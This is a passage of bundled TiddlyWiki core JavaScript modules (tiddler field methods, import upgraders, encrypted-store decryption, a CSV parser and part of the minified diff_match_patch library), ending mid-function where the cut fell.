this.getFieldString(field);\n\t\t\t}\n\t\t}\n\t}\n\treturn fields;\n};\n\n/*\nGet all the fields as a name:value block. Options:\n\texclude: an array of field names to exclude\n*/\nexports.getFieldStringBlock = function(options) {\n\toptions = options || {};\n\tvar exclude = options.exclude || [];\n\tvar fields = [];\n\tfor(var field in this.fields) {\n\t\tif($tw.utils.hop(this.fields,field)) {\n\t\t\tif(exclude.indexOf(field) === -1) {\n\t\t\t\tfields.push(field + \": \" + this.getFieldString(field));\n\t\t\t}\n\t\t}\n\t}\n\treturn fields.join(\"\\n\");\n};\n\n/*\nCompare two tiddlers for equality\ntiddler: the tiddler to compare\nexcludeFields: array of field names to exclude from the comparison\n*/\nexports.isEqual = function(tiddler,excludeFields) {\n\tif(!(tiddler instanceof $tw.Tiddler)) {\n\t\treturn false;\n\t}\n\texcludeFields = excludeFields || [];\n\tvar self = this,\n\t\tdifferences = []; // Fields that have differences\n\t// Add to the differences array\n\tfunction addDifference(fieldName) {\n\t\t// Check for this field being excluded\n\t\tif(excludeFields.indexOf(fieldName) === -1) {\n\t\t\t// Save the field as a difference\n\t\t\t$tw.utils.pushTop(differences,fieldName);\n\t\t}\n\t}\n\t// Returns true if the two values of this field are equal\n\tfunction isFieldValueEqual(fieldName) {\n\t\tvar valueA = self.fields[fieldName],\n\t\t\tvalueB = tiddler.fields[fieldName];\n\t\t// Check for identical string values\n\t\tif(typeof(valueA) === \"string\" && typeof(valueB) === \"string\" && valueA === valueB) {\n\t\t\treturn true;\n\t\t}\n\t\t// Check for identical array values\n\t\tif($tw.utils.isArray(valueA) && $tw.utils.isArray(valueB) && $tw.utils.isArrayEqual(valueA,valueB)) {\n\t\t\treturn true;\n\t\t}\n\t\t// Otherwise the fields must be different\n\t\treturn false;\n\t}\n\t// Compare our fields\n\tfor(var fieldName in this.fields) {\n\t\tif(!isFieldValueEqual(fieldName)) {\n\t\t\taddDifference(fieldName);\n\t\t}\n\t}\n\t// There's a difference for every field in the other tiddler that we don't have\n\tfor(fieldName in tiddler.fields) {\n\t\tif(!(fieldName in this.fields)) {\n\t\t\taddDifference(fieldName);\n\t\t}\n\t}\n\t// Return whether there were any differences\n\treturn differences.length === 0;\n};\n\nexports.getFieldDay = function(field) {\n\tif(this.cache && this.cache.day && $tw.utils.hop(this.cache.day,field) ) {\n\t\treturn this.cache.day[field];\n\t}\n\tvar day = \"\";\n\tif(this.fields[field]) {\n\t\tday = (new Date($tw.utils.parseDate(this.fields[field]))).setHours(0,0,0,0);\n\t}\n\tthis.cache.day = this.cache.day || {};\n\tthis.cache.day[field] = day;\n\treturn day;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "tiddlermethod"
        },
        "$:/core/modules/upgraders/plugins.js": {
            "title": "$:/core/modules/upgraders/plugins.js",
            "text": "/*\\\ntitle: $:/core/modules/upgraders/plugins.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that checks that plugins are newer than any already installed version\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar UPGRADE_LIBRARY_TITLE = \"$:/UpgradeLibrary\";\n\nvar BLOCKED_PLUGINS = {\n\t\"$:/themes/tiddlywiki/stickytitles\": {\n\t\tversions: [\"*\"]\n\t},\n\t\"$:/plugins/tiddlywiki/fullscreen\": {\n\t\tversions: [\"*\"]\n\t}\n};\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {},\n\t\tupgradeLibrary,\n\t\tgetLibraryTiddler = function(title) {\n\t\t\tif(!upgradeLibrary) {\n\t\t\t\tupgradeLibrary = wiki.getTiddlerData(UPGRADE_LIBRARY_TITLE,{});\n\t\t\t\tupgradeLibrary.tiddlers = upgradeLibrary.tiddlers || {};\n\t\t\t}\n\t\t\treturn upgradeLibrary.tiddlers[title];\n\t\t};\n\n\t// Go through all the incoming tiddlers\n\t$tw.utils.each(titles,function(title) {\n\t\tvar incomingTiddler = tiddlers[title];\n\t\t// Check if we're dealing with a plugin\n\t\tif(incomingTiddler && incomingTiddler[\"plugin-type\"] && incomingTiddler.version) {\n\t\t\t// Upgrade the incoming plugin if it is in the upgrade library\n\t\t\tvar libraryTiddler = getLibraryTiddler(title);\n\t\t\tif(libraryTiddler && libraryTiddler[\"plugin-type\"] && libraryTiddler.version) {\n\t\t\t\ttiddlers[title] = libraryTiddler;\n\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/Plugins/Upgraded\",{variables: {incoming: incomingTiddler.version, upgraded: libraryTiddler.version}});\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t// Suppress the incoming plugin if it is older than the currently installed one\n\t\t\tvar existingTiddler = wiki.getTiddler(title);\n\t\t\tif(existingTiddler && existingTiddler.hasField(\"plugin-type\") && existingTiddler.hasField(\"version\")) {\n\t\t\t\t// Reject the incoming plugin by blanking all its fields\n\t\t\t\tif($tw.utils.checkVersions(existingTiddler.fields.version,incomingTiddler.version)) {\n\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/Plugins/Suppressed/Version\",{variables: {incoming: incomingTiddler.version, existing: existingTiddler.fields.version}});\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif(incomingTiddler && incomingTiddler[\"plugin-type\"]) {\n\t\t\t// Check whether the plugin is on the blocked list\n\t\t\tvar blockInfo = BLOCKED_PLUGINS[title];\n\t\t\tif(blockInfo) {\n\t\t\t\tif(blockInfo.versions.indexOf(\"*\") !== -1 || (incomingTiddler.version && blockInfo.versions.indexOf(incomingTiddler.version) !== -1)) {\n\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/Plugins/Suppressed/Incompatible\");\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\treturn messages;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "upgrader"
        },
        "$:/core/modules/upgraders/system.js": {
            "title": "$:/core/modules/upgraders/system.js",
            "text": "/*\\\ntitle: $:/core/modules/upgraders/system.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that suppresses certain system tiddlers that shouldn't be imported\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar DONT_IMPORT_LIST = [\"$:/StoryList\",\"$:/HistoryList\"],\n\tDONT_IMPORT_PREFIX_LIST = [\"$:/temp/\",\"$:/state/\"];\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {};\n\t// Check for tiddlers on our list\n\t$tw.utils.each(titles,function(title) {\n\t\tif(DONT_IMPORT_LIST.indexOf(title) !== -1) {\n\t\t\ttiddlers[title] = Object.create(null);\n\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/System/Suppressed\");\n\t\t} else {\n\t\t\tfor(var t=0; t<DONT_IMPORT_PREFIX_LIST.length; t++) {\n\t\t\t\tvar prefix = DONT_IMPORT_PREFIX_LIST[t];\n\t\t\t\tif(title.substr(0,prefix.length) === prefix) {\n\t\t\t\t\ttiddlers[title] = Object.create(null);\n\t\t\t\t\tmessages[title] = $tw.language.getString(\"Import/Upgrader/State/Suppressed\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\treturn messages;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "upgrader"
        },
        "$:/core/modules/upgraders/themetweaks.js": {
            "title": "$:/core/modules/upgraders/themetweaks.js",
            "text": "/*\\\ntitle: $:/core/modules/upgraders/themetweaks.js\ntype: application/javascript\nmodule-type: upgrader\n\nUpgrader module that handles the change in theme tweak storage introduced in 5.0.14-beta.\n\nPreviously, theme tweaks were stored in two data tiddlers:\n\n* $:/themes/tiddlywiki/vanilla/metrics\n* $:/themes/tiddlywiki/vanilla/settings\n\nNow, each tweak is stored in its own separate tiddler.\n\nThis upgrader copies any values from the old format to the new. The old data tiddlers are not deleted in case they have been used to store additional indexes.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar MAPPINGS = {\n\t\"$:/themes/tiddlywiki/vanilla/metrics\": {\n\t\t\"fontsize\": \"$:/themes/tiddlywiki/vanilla/metrics/fontsize\",\n\t\t\"lineheight\": \"$:/themes/tiddlywiki/vanilla/metrics/lineheight\",\n\t\t\"storyleft\": \"$:/themes/tiddlywiki/vanilla/metrics/storyleft\",\n\t\t\"storytop\": \"$:/themes/tiddlywiki/vanilla/metrics/storytop\",\n\t\t\"storyright\": \"$:/themes/tiddlywiki/vanilla/metrics/storyright\",\n\t\t\"storywidth\": \"$:/themes/tiddlywiki/vanilla/metrics/storywidth\",\n\t\t\"tiddlerwidth\": \"$:/themes/tiddlywiki/vanilla/metrics/tiddlerwidth\"\n\t},\n\t\"$:/themes/tiddlywiki/vanilla/settings\": {\n\t\t\"fontfamily\": \"$:/themes/tiddlywiki/vanilla/settings/fontfamily\"\n\t}\n};\n\nexports.upgrade = function(wiki,titles,tiddlers) {\n\tvar self = this,\n\t\tmessages = {};\n\t// Check for tiddlers on our list\n\t$tw.utils.each(titles,function(title) {\n\t\tvar mapping = MAPPINGS[title];\n\t\tif(mapping) {\n\t\t\tvar tiddler = new $tw.Tiddler(tiddlers[title]),\n\t\t\t\ttiddlerData = wiki.getTiddlerDataCached(tiddler,{});\n\t\t\tfor(var index in mapping) {\n\t\t\t\tvar mappedTitle = mapping[index];\n\t\t\t\tif(!tiddlers[mappedTitle] || tiddlers[mappedTitle].title !== mappedTitle) {\n\t\t\t\t\ttiddlers[mappedTitle] = {\n\t\t\t\t\t\ttitle: mappedTitle,\n\t\t\t\t\t\ttext: tiddlerData[index]\n\t\t\t\t\t};\n\t\t\t\t\tmessages[mappedTitle] = $tw.language.getString(\"Import/Upgrader/ThemeTweaks/Created\",{variables: {\n\t\t\t\t\t\tfrom: title + \"##\" + index\n\t\t\t\t\t}});\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n\treturn messages;\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "upgrader"
        },
        "$:/core/modules/utils/crypto.js": {
            "title": "$:/core/modules/utils/crypto.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/crypto.js\ntype: application/javascript\nmodule-type: utils\n\nUtility functions related to crypto.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nLook for an encrypted store area in the text of a TiddlyWiki file\n*/\nexports.extractEncryptedStoreArea = function(text) {\n\tvar encryptedStoreAreaStartMarker = \"<pre id=\\\"encryptedStoreArea\\\" type=\\\"text/plain\\\" style=\\\"display:none;\\\">\",\n\t\tencryptedStoreAreaStart = text.indexOf(encryptedStoreAreaStartMarker);\n\tif(encryptedStoreAreaStart !== -1) {\n\t\tvar encryptedStoreAreaEnd = text.indexOf(\"</pre>\",encryptedStoreAreaStart);\n\t\tif(encryptedStoreAreaEnd !== -1) {\n\t\t\treturn $tw.utils.htmlDecode(text.substring(encryptedStoreAreaStart + encryptedStoreAreaStartMarker.length,encryptedStoreAreaEnd-1));\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nAttempt to extract the tiddlers from an encrypted store area using the current password. If the password is not provided then the password in the password store will be used\n*/\nexports.decryptStoreArea = function(encryptedStoreArea,password) {\n\tvar decryptedText = $tw.crypto.decrypt(encryptedStoreArea,password);\n\tif(decryptedText) {\n\t\tvar json = JSON.parse(decryptedText),\n\t\t\ttiddlers = [];\n\t\tfor(var title in json) {\n\t\t\tif(title !== \"$:/isEncrypted\") {\n\t\t\t\ttiddlers.push(json[title]);\n\t\t\t}\n\t\t}\n\t\treturn tiddlers;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n\n/*\nAttempt to extract the tiddlers from an encrypted store area using the current password. If that fails, the user is prompted for a password.\nencryptedStoreArea: text of the TiddlyWiki encrypted store area\ncallback: function(tiddlers) called with the array of decrypted tiddlers\n\nThe following configuration settings are supported:\n\n$tw.config.usePasswordVault: causes any password entered by the user to also be put into the system password vault\n*/\nexports.decryptStoreAreaInteractive = function(encryptedStoreArea,callback,options) {\n\t// Try to decrypt with the current password\n\tvar tiddlers = $tw.utils.decryptStoreArea(encryptedStoreArea);\n\tif(tiddlers) {\n\t\tcallback(tiddlers);\n\t} else {\n\t\t// Prompt for a new password and keep trying\n\t\t$tw.passwordPrompt.createPrompt({\n\t\t\tserviceName: \"Enter a password to decrypt the imported TiddlyWiki\",\n\t\t\tnoUserName: true,\n\t\t\tcanCancel: true,\n\t\t\tsubmitText: \"Decrypt\",\n\t\t\tcallback: function(data) {\n\t\t\t\t// Exit if the user cancelled\n\t\t\t\tif(!data) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\t// Attempt to decrypt the tiddlers\n\t\t\t\tvar tiddlers = $tw.utils.decryptStoreArea(encryptedStoreArea,data.password);\n\t\t\t\tif(tiddlers) {\n\t\t\t\t\tif($tw.config.usePasswordVault) {\n\t\t\t\t\t\t$tw.crypto.setPassword(data.password);\n\t\t\t\t\t}\n\t\t\t\t\tcallback(tiddlers);\n\t\t\t\t\t// Exit and remove the password prompt\n\t\t\t\t\treturn true;\n\t\t\t\t} else {\n\t\t\t\t\t// We didn't decrypt everything, so continue to prompt for password\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/csv.js": {
            "title": "$:/core/modules/utils/csv.js",
            "text": "/*\\\ntitle: $:/core/modules/utils/csv.js\ntype: application/javascript\nmodule-type: utils\n\nA barebones CSV parser\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nParse a CSV string with a header row and return an array of hashmaps.\n*/\nexports.parseCsvStringWithHeader = function(text,options) {\n\toptions = options || {};\n\tvar separator = options.separator || \",\",\n\t\trows = text.split(/\\r?\\n/mg).map(function(row) {\n\t\t\treturn $tw.utils.trim(row);\n\t\t}).filter(function(row) {\n\t\t\treturn row !== \"\";\n\t\t});\n\tif(rows.length < 1) {\n\t\treturn \"Missing header row\";\n\t}\n\tvar headings = rows[0].split(separator),\n\t\tresults = [];\n\tfor(var row=1; row<rows.length; row++) {\n\t\tvar columns = rows[row].split(separator),\n\t\t\tcolumnResult = Object.create(null);\n\t\tif(columns.length !== headings.length) {\n\t\t\treturn \"Malformed CSV row '\" + rows[row] + \"'\";\n\t\t}\n\t\tfor(var column=0; column<columns.length; column++) {\n\t\t\tvar columnName = headings[column];\n\t\t\tcolumnResult[columnName] = $tw.utils.trim(columns[column] || \"\");\n\t\t}\n\t\tresults.push(columnResult);\t\t\t\n\t}\n\treturn results;\n}\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/utils/diff-match-patch/diff_match_patch.js": {
            "text": "(function(){function diff_match_patch(){this.Diff_Timeout=1;this.Diff_EditCost=4;this.Match_Threshold=.5;this.Match_Distance=1E3;this.Patch_DeleteThreshold=.5;this.Patch_Margin=4;this.Match_MaxBits=32}var DIFF_DELETE=-1,DIFF_INSERT=1,DIFF_EQUAL=0;\ndiff_match_patch.prototype.diff_main=function(a,b,c,d){\"undefined\"==typeof d&&(d=0>=this.Diff_Timeout?Number.MAX_VALUE:(new Date).getTime()+1E3*this.Diff_Timeout);if(null==a||null==b)throw Error(\"Null input. (diff_main)\");if(a==b)return a?[[DIFF_EQUAL,a]]:[];\"undefined\"==typeof c&&(c=!0);var e=c,f=this.diff_commonPrefix(a,b);c=a.substring(0,f);a=a.substring(f);b=b.substring(f);f=this.diff_commonSuffix(a,b);var g=a.substring(a.length-f);a=a.substring(0,a.length-f);b=b.substring(0,b.length-f);a=this.diff_compute_(a,\nb,e,d);c&&a.unshift([DIFF_EQUAL,c]);g&&a.push([DIFF_EQUAL,g]);this.diff_cleanupMerge(a);return a};\ndiff_match_patch.prototype.diff_compute_=function(a,b,c,d){if(!a)return[[DIFF_INSERT,b]];if(!b)return[[DIFF_DELETE,a]];var e=a.length>b.length?a:b,f=a.length>b.length?b:a,g=e.indexOf(f);return-1!=g?(c=[[DIFF_INSERT,e.substring(0,g)],[DIFF_EQUAL,f],[DIFF_INSERT,e.substring(g+f.length)]],a.length>b.length&&(c[0][0]=c[2][0]=DIFF_DELETE),c):1==f.length?[[DIFF_DELETE,a],[DIFF_INSERT,b]]:(e=this.diff_halfMatch_(a,b))?(b=e[1],f=e[3],a=e[4],e=this.diff_main(e[0],e[2],c,d),c=this.diff_main(b,f,c,d),e.concat([[DIFF_EQUAL,\na]],c)):c&&100<a.length&&100<b.length?this.diff_lineMode_(a,b,d):this.diff_bisect_(a,b,d)};\ndiff_match_patch.prototype.diff_lineMode_=function(a,b,c){var d=this.diff_linesToChars_(a,b);a=d.chars1;b=d.chars2;d=d.lineArray;a=this.diff_main(a,b,!1,c);this.diff_charsToLines_(a,d);this.diff_cleanupSemantic(a);a.push([DIFF_EQUAL,\"\"]);for(var e=d=b=0,f=\"\",g=\"\";b<a.length;){switch(a[b][0]){case DIFF_INSERT:e++;g+=a[b][1];break;case DIFF_DELETE:d++;f+=a[b][1];break;case DIFF_EQUAL:if(1<=d&&1<=e){a.splice(b-d-e,d+e);b=b-d-e;d=this.diff_main(f,g,!1,c);for(e=d.length-1;0<=e;e--)a.splice(b,0,d[e]);b+=\nd.length}d=e=0;g=f=\"\"}b++}a.pop();return a};\ndiff_match_patch.prototype.diff_bisect_=function(a,b,c){for(var d=a.length,e=b.length,f=Math.ceil((d+e)/2),g=2*f,h=Array(g),l=Array(g),k=0;k<g;k++)h[k]=-1,l[k]=-1;h[f+1]=0;l[f+1]=0;k=d-e;for(var m=0!=k%2,p=0,x=0,w=0,q=0,t=0;t<f&&!((new Date).getTime()>c);t++){for(var v=-t+p;v<=t-x;v+=2){var n=f+v;var r=v==-t||v!=t&&h[n-1]<h[n+1]?h[n+1]:h[n-1]+1;for(var y=r-v;r<d&&y<e&&a.charAt(r)==b.charAt(y);)r++,y++;h[n]=r;if(r>d)x+=2;else if(y>e)p+=2;else if(m&&(n=f+k-v,0<=n&&n<g&&-1!=l[n])){var u=d-l[n];if(r>=\nu)return this.diff_bisectSplit_(a,b,r,y,c)}}for(v=-t+w;v<=t-q;v+=2){n=f+v;u=v==-t||v!=t&&l[n-1]<l[n+1]?l[n+1]:l[n-1]+1;for(r=u-v;u<d&&r<e&&a.charAt(d-u-1)==b.charAt(e-r-1);)u++,r++;l[n]=u;if(u>d)q+=2;else if(r>e)w+=2;else if(!m&&(n=f+k-v,0<=n&&n<g&&-1!=h[n]&&(r=h[n],y=f+r-n,u=d-u,r>=u)))return this.diff_bisectSplit_(a,b,r,y,c)}}return[[DIFF_DELETE,a],[DIFF_INSERT,b]]};\ndiff_match_patch.prototype.diff_bisectSplit_=function(a,b,c,d,e){var f=a.substring(0,c),g=b.substring(0,d);a=a.substring(c);b=b.substring(d);f=this.diff_main(f,g,!1,e);e=this.diff_main(a,b,!1,e);return f.concat(e)};\ndiff_match_patch.prototype.diff_linesToChars_=function(a,b){function c(a){for(var b=\"\",c=0,f=-1,g=d.length;f<a.length-1;){f=a.indexOf(\"\\n\",c);-1==f&&(f=a.length-1);var h=a.substring(c,f+1);c=f+1;(e.hasOwnProperty?e.hasOwnProperty(h):void 0!==e[h])?b+=String.fromCharCode(e[h]):(b+=String.fromCharCode(g),e[h]=g,d[g++]=h)}return b}var d=[],e={};d[0]=\"\";var f=c(a),g=c(b);return{chars1:f,chars2:g,lineArray:d}};\ndiff_match_patch.prototype.diff_charsToLines_=function(a,b){for(var c=0;c<a.length;c++){for(var d=a[c][1],e=[],f=0;f<d.length;f++)e[f]=b[d.charCodeAt(f)];a[c][1]=e.join(\"\")}};diff_match_patch.prototype.diff_commonPrefix=function(a,b){if(!a||!b||a.charAt(0)!=b.charAt(0))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(f,e)==b.substring(f,e)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonSuffix=function(a,b){if(!a||!b||a.charAt(a.length-1)!=b.charAt(b.length-1))return 0;for(var c=0,d=Math.min(a.length,b.length),e=d,f=0;c<e;)a.substring(a.length-e,a.length-f)==b.substring(b.length-e,b.length-f)?f=c=e:d=e,e=Math.floor((d-c)/2+c);return e};\ndiff_match_patch.prototype.diff_commonOverlap_=function(a,b){var c=a.length,d=b.length;if(0==c||0==d)return 0;c>d?a=a.substring(c-d):c<d&&(b=b.substring(0,c));c=Math.min(c,d);if(a==b)return c;d=0;for(var e=1;;){var f=a.substring(c-e);f=b.indexOf(f);if(-1==f)return d;e+=f;if(0==f||a.substring(c-e)==b.substring(0,e))d=e,e++}};\ndiff_match_patch.prototype.diff_halfMatch_=function(a,b){function c(a,b,c){for(var d=a.substring(c,c+Math.floor(a.length/4)),e=-1,g=\"\",h,k,l,m;-1!=(e=b.indexOf(d,e+1));){var p=f.diff_commonPrefix(a.substring(c),b.substring(e)),u=f.diff_commonSuffix(a.substring(0,c),b.substring(0,e));g.length<u+p&&(g=b.substring(e-u,e)+b.substring(e,e+p),h=a.substring(0,c-u),k=a.substring(c+p),l=b.substring(0,e-u),m=b.substring(e+p))}return 2*g.length>=a.length?[h,k,l,m,g]:null}if(0>=this.Diff_Timeout)return null;\nvar d=a.length>b.length?a:b,e=a.length>b.length?b:a;if(4>d.length||2*e.length<d.length)return null;var f=this,g=c(d,e,Math.ceil(d.length/4));d=c(d,e,Math.ceil(d.length/2));if(g||d)g=d?g?g[4].length>d[4].length?g:d:d:g;else return null;if(a.length>b.length){d=g[0];e=g[1];var h=g[2];var l=g[3]}else h=g[0],l=g[1],d=g[2],e=g[3];return[d,e,h,l,g[4]]};\ndiff_match_patch.prototype.diff_cleanupSemantic=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=0,h=0,l=0,k=0;f<a.length;)a[f][0]==DIFF_EQUAL?(c[d++]=f,g=l,h=k,k=l=0,e=a[f][1]):(a[f][0]==DIFF_INSERT?l+=a[f][1].length:k+=a[f][1].length,e&&e.length<=Math.max(g,h)&&e.length<=Math.max(l,k)&&(a.splice(c[d-1],0,[DIFF_DELETE,e]),a[c[d-1]+1][0]=DIFF_INSERT,d--,d--,f=0<d?c[d-1]:-1,k=l=h=g=0,e=null,b=!0)),f++;b&&this.diff_cleanupMerge(a);this.diff_cleanupSemanticLossless(a);for(f=1;f<a.length;){if(a[f-1][0]==\nDIFF_DELETE&&a[f][0]==DIFF_INSERT){b=a[f-1][1];c=a[f][1];d=this.diff_commonOverlap_(b,c);e=this.diff_commonOverlap_(c,b);if(d>=e){if(d>=b.length/2||d>=c.length/2)a.splice(f,0,[DIFF_EQUAL,c.substring(0,d)]),a[f-1][1]=b.substring(0,b.length-d),a[f+1][1]=c.substring(d),f++}else if(e>=b.length/2||e>=c.length/2)a.splice(f,0,[DIFF_EQUAL,b.substring(0,e)]),a[f-1][0]=DIFF_INSERT,a[f-1][1]=c.substring(0,c.length-e),a[f+1][0]=DIFF_DELETE,a[f+1][1]=b.substring(e),f++;f++}f++}};\ndiff_match_patch.prototype.diff_cleanupSemanticLossless=function(a){function b(a,b){if(!a||!b)return 6;var c=a.charAt(a.length-1),d=b.charAt(0),e=c.match(diff_match_patch.nonAlphaNumericRegex_),f=d.match(diff_match_patch.nonAlphaNumericRegex_),g=e&&c.match(diff_match_patch.whitespaceRegex_),h=f&&d.match(diff_match_patch.whitespaceRegex_);c=g&&c.match(diff_match_patch.linebreakRegex_);d=h&&d.match(diff_match_patch.linebreakRegex_);var k=c&&a.match(diff_match_patch.blanklineEndRegex_),l=d&&b.match(diff_match_patch.blanklineStartRegex_);\nreturn k||l?5:c||d?4:e&&!g&&h?3:g||h?2:e||f?1:0}for(var c=1;c<a.length-1;){if(a[c-1][0]==DIFF_EQUAL&&a[c+1][0]==DIFF_EQUAL){var d=a[c-1][1],e=a[c][1],f=a[c+1][1],g=this.diff_commonSuffix(d,e);if(g){var h=e.substring(e.length-g);d=d.substring(0,d.length-g);e=h+e.substring(0,e.length-g);f=h+f}g=d;h=e;for(var l=f,k=b(d,e)+b(e,f);e.charAt(0)===f.charAt(0);){d+=e.charAt(0);e=e.substring(1)+f.charAt(0);f=f.substring(1);var m=b(d,e)+b(e,f);m>=k&&(k=m,g=d,h=e,l=f)}a[c-1][1]!=g&&(g?a[c-1][1]=g:(a.splice(c-\n1,1),c--),a[c][1]=h,l?a[c+1][1]=l:(a.splice(c+1,1),c--))}c++}};diff_match_patch.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/;diff_match_patch.whitespaceRegex_=/\\s/;diff_match_patch.linebreakRegex_=/[\\r\\n]/;diff_match_patch.blanklineEndRegex_=/\\n\\r?\\n$/;diff_match_patch.blanklineStartRegex_=/^\\r?\\n\\r?\\n/;\ndiff_match_patch.prototype.diff_cleanupEfficiency=function(a){for(var b=!1,c=[],d=0,e=null,f=0,g=!1,h=!1,l=!1,k=!1;f<a.length;)a[f][0]==DIFF_EQUAL?(a[f][1].length<this.Diff_EditCost&&(l||k)?(c[d++]=f,g=l,h=k,e=a[f][1]):(d=0,e=null),l=k=!1):(a[f][0]==DIFF_DELETE?k=!0:l=!0,e&&(g&&h&&l&&k||e.length<this.Diff_EditCost/2&&3==g+h+l+k)&&(a.splice(c[d-1],0,[DIFF_DELETE,e]),a[c[d-1]+1][0]=DIFF_INSERT,d--,e=null,g&&h?(l=k=!0,d=0):(d--,f=0<d?c[d-1]:-1,l=k=!1),b=!0)),f++;b&&this.diff_cleanupMerge(a)};\ndiff_match_patch.prototype.diff_cleanupMerge=function(a){a.push([DIFF_EQUAL,\"\"]);for(var b=0,c=0,d=0,e=\"\",f=\"\",g;b<a.length;)switch(a[b][0]){case DIFF_INSERT:d++;f+=a[b][1];b++;break;case DIFF_DELETE:c++;e+=a[b][1];b++;break;case DIFF_EQUAL:1<c+d?(0!==c&&0!==d&&(g=this.diff_commonPrefix(f,e),0!==g&&(0<b-c-d&&a[b-c-d-1][0]==DIFF_EQUAL?a[b-c-d-1][1]+=f.substring(0,g):(a.splice(0,0,[DIFF_EQUAL,f.substring(0,g)]),b++),f=f.substring(g),e=e.substring(g)),g=this.diff_commonSuffix(f,e),0!==g&&(a[b][1]=f.substring(f.length-\ng)+a[b][1],f=f.substring(0,f.length-g),e=e.substring(0,e.length-g))),0===c?a.splice(b-d,c+d,[DIFF_INSERT,f]):0===d?a.splice(b-c,c+d,[DIFF_DELETE,e]):a.splice(b-c-d,c+d,[DIFF_DELETE,e],[DIFF_INSERT,f]),b=b-c-d+(c?1:0)+(d?1:0)+1):0!==b&&a[b-1][0]==DIFF_EQUAL?(a[b-1][1]+=a[b][1],a.splice(b,1)):b++,c=d=0,f=e=\"\"}\"\"===a[a.length-1][1]&&a.pop();c=!1;for(b=1;b<a.length-1;)a[b-1][0]==DIFF_EQUAL&&a[b+1][0]==DIFF_EQUAL&&(a[b][1].substring(a[b][1].length-a[b-1][1].length)==a[b-1][1]?(a[b][1]=a[b-1][1]+a[b][1].substring(0,\na[b][1].length-a[b-1][1].length),a[b+1][1]=a[b-1][1]+a[b+1][1],a.splice(b-1,1),c=!0):a[b][1].substring(0,a[b+1][1].length)==a[b+1][1]&&(a[b-1][1]+=a[b+1][1],a[b][1]=a[b][1].substring(a[b+1][1].length)+a[b+1][1],a.splice(b+1,1),c=!0)),b++;c&&this.diff_cleanupMerge(a)};\ndiff_match_patch.prototype.diff_xIndex=function(a,b){var c=0,d=0,e=0,f=0,g;for(g=0;g<a.length;g++){a[g][0]!==DIFF_INSERT&&(c+=a[g][1].length);a[g][0]!==DIFF_DELETE&&(d+=a[g][1].length);if(c>b)break;e=c;f=d}return a.length!=g&&a[g][0]===DIFF_DELETE?f:f+(b-e)};\ndiff_match_patch.prototype.diff_prettyHtml=function(a){for(var b=[],c=/&/g,d=/</g,e=/>/g,f=/\\n/g,g=0;g<a.length;g++){var h=a[g][0],l=a[g][1].replace(c,\"&amp;\").replace(d,\"&lt;\").replace(e,\"&gt;\").replace(f,\"&para;<br>\");switch(h){case DIFF_INSERT:b[g]='<ins style=\"background:#e6ffe6;\">'+l+\"</ins>\";break;case DIFF_DELETE:b[g]='<del style=\"background:#ffe6e6;\">'+l+\"</del>\";break;case DIFF_EQUAL:b[g]=\"<span>\"+l+\"</span>\"}}return b.join(\"\")};\ndiff_match_patch.prototype.diff_text1=function(a){for(var b=[],c=0;c<a.length;c++)a[c][0]!==DIFF_INSERT&&(b[c]=a[c][1]);return b.join(\"\")};diff_match_patch.prototype.diff_text2=function(a){for(var b=[],c=0;c<a.length;c++)a[c][0]!==DIFF_DELETE&&(b[c]=a[c][1]);return b.join(\"\")};\ndiff_match_patch.prototype.diff_levenshtein=function(a){for(var b=0,c=0,d=0,e=0;e<a.length;e++){var f=a[e][1];switch(a[e][0]){case DIFF_INSERT:c+=f.length;break;case DIFF_DELETE:d+=f.length;break;case DIFF_EQUAL:b+=Math.max(c,d),d=c=0}}return b+=Math.max(c,d)};\ndiff_match_patch.prototype.diff_toDelta=function(a){for(var b=[],c=0;c<a.length;c++)switch(a[c][0]){case DIFF_INSERT:b[c]=\"+\"+encodeURI(a[c][1]);break;case DIFF_DELETE:b[c]=\"-\"+a[c][1].length;break;case DIFF_EQUAL:b[c]=\"=\"+a[c][1].length}return b.join(\"\\t\").replace(/%20/g,\" \")};\ndiff_match_patch.prototype.diff_fromDelta=function(a,b){for(var 